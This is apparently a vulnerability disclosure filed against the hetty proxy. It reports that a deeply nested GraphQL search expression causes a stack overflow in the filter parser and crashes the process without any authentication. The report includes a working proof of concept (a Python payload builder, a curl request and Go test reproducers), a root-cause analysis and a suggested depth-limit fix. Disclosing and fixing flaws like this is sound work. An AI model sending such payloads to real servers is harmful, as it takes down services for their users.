Unauthenticated remote DoS: a single GraphQL search expression crashes the whole process (filter parser stack overflow)
Title
Unauthenticated remote DoS: a single GraphQL search expression crashes the whole process (filter parser stack overflow)
Summary
The filter query parser (pkg/filter) is a recursive-descent parser with no recursion-depth limit. Deeply nested input causes it to recurse until the goroutine stack is exhausted. In Go a stack overflow is a fatal, unrecoverable runtime error — it cannot be caught by recover(), and therefore gqlgen's panic-recovery middleware cannot contain it either. The result is that the entire hetty process crashes: proxy, admin API, and all in-flight intercepted requests.
filter.ParseQuery is reachable from the unauthenticated GraphQL API via search/filter fields:
setHttpRequestLogFilter(filter: { searchExpression })setSenderRequestFilter(filter: { searchExpression })updateInterceptSettings(input: { requestFilter / responseFilter })
The parse happens before the "no active project" check, so no project, no setup, and no authentication are required to trigger the crash.
Severity
Critical — remote, unauthenticated, full process termination.
Affected code
pkg/filter/parser.go—parseExpression/parseGroupedExpression/parsePrefixExpressionrecurse with no depth bound.- Reachable from
pkg/api/resolvers.go(findRequestsFilterFromInput,findSenderRequestsFilterFromInput,UpdateInterceptSettings), all callingfilter.ParseQuery.
Steps to reproduce
Start Hetty normally (
hetty, default listen:8080).Build a GraphQL mutation whose
searchExpressionis ~400k(characters:python3 - <<'PY' > /tmp/payload.json import json q = "mutation($f:String!){setHttpRequestLogFilter(filter:{searchExpression:$f}){searchExpression}}" print(json.dumps({"query": q, "variables": {"f": "(" * 400000}})) PYSend it to the admin GraphQL endpoint:
curl -s http://localhost:8080/api/graphql/ \ -H 'Content-Type: application/json' \ --data @/tmp/payload.json
Expected behavior
The malformed/oversized expression is rejected with a normal GraphQL error; the server keeps running.
Actual behavior
The hetty process aborts. Its log shows:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine ... [running]:
github.com/dstotijn/hetty/pkg/filter.parseGroupedExpression(...)
pkg/filter/parser.go
github.com/dstotijn/hetty/pkg/filter.(*Parser).parseExpression(...)
pkg/filter/parser.go
github.com/dstotijn/hetty/pkg/filter.parseGroupedExpression(...)
... (repeats) ...The same crash occurs with searchExpression set to many repeated NOT tokens (e.g. "NOT " * 400000).
Minimal Go reproducer (no server needed)
package filter
import (
"strings"
"testing"
)
func TestStackOverflowPoC(t *testing.T) {
// Aborts the test binary with "fatal error: stack overflow"
// on unpatched code. recover() does NOT catch it.
_, _ = ParseQuery(strings.Repeat("(", 1_000_000))
}OR
git checkout main
cat > pkg/filter/poc_test.go <<'EOF'
package filter
import (
"strings"
"testing"
)
func TestStackOverflowPoC(t *testing.T) {
// recover() is here to PROVE it cannot catch a stack overflow:
// the process dies anyway.
defer func() {
if r := recover(); r != nil {
t.Log("recovered (won't happen for stack overflow):", r)
}
}()
ParseQuery(strings.Repeat("(", 2_000_000))
t.Log("no crash")
}
EOF
go test ./pkg/filter/ -run TestStackOverflowPoC
Expected output:
fatal error: stack overflow a repeating parseGroupedExpression → parseExpression trace, exit status 2 — and the recovered log never prints. That's the whole vulnerability, demonstrated cleanly.
Root cause
parseExpression is the single recursion point; it is re-entered for every nested group (() and every prefix operator (NOT). There is no limit on how deep this can go, so attacker-controlled nesting depth maps directly to stack growth until the runtime aborts the process.
Suggested fix
Bound the parser's recursion depth (e.g. a maxParseDepth counter checked at the top of parseExpression) and return an error once exceeded. Legitimate, human-written search queries nest only a few levels deep, so a generous limit (e.g. 256) is safe.
Related issue (same entry point)
Malformed filter queries also leak a goroutine each: NewLexer starts a goroutine that emits tokens on an unbuffered channel, and when ParseQuery returns early on a parse error it stops reading, leaving that goroutine blocked forever. Repeated malformed queries cause gradual goroutine/memory exhaustion. I'm fixing both issues together in a PR.
I have a fix with regression tests ready and will open a PR referencing this issue.
Source: dstotijn/hetty